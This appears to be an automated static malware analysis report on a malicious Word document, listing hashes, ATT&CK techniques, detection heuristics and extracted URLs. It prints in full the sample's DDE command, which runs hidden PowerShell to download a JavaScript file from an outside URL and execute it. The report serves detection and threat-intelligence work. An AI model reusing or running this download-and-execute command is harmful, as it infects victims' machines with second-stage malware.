Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f2eccaadcb7aa59b…

MALICIOUS

Office (OOXML)

584.2 KB Created: 2018-05-23 21:38:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2019-06-27
MD5: 0f43538c436b199c93feb28163d8f0d3 SHA-1: 308191de799c87fe957fed82fabe320040165577 SHA-256: f2eccaadcb7aa59b92db147ef8835cd0bcbf04832c3e9073185d3dd00d6a66ef
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment

The sample contains a critical heuristic firing for a malicious DDE command, which executes PowerShell to download and run a JavaScript file from a suspicious URL. This indicates the document is a malicious attachment designed to download and execute a second-stage payload. The specific DDE command used is: c:\Windows\System32\cmd.exe "/k powershell.exe -w hidden -nop -ep bypass -Command (new-object System.Net.WebClient).DownloadFile('https://u.lewd.se/BdQCPL_index.js','%tmp%/index.js'); & start c:\Windows\System32\cmd.exe /c cscript.exe %tmp%/index.js".

Heuristics 4

  • ClamAV: Doc.Exploit.DDEautoexec-6346603-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Exploit.DDEautoexec-6346603-1
  • Malicious DDE command critical OOXML_DDE_MALICIOUS
    DDE field in word/document.xml launches a dangerous executable: \\System32\\cmd.exe
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://u.lewd.se/BdQCPL_index.js In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

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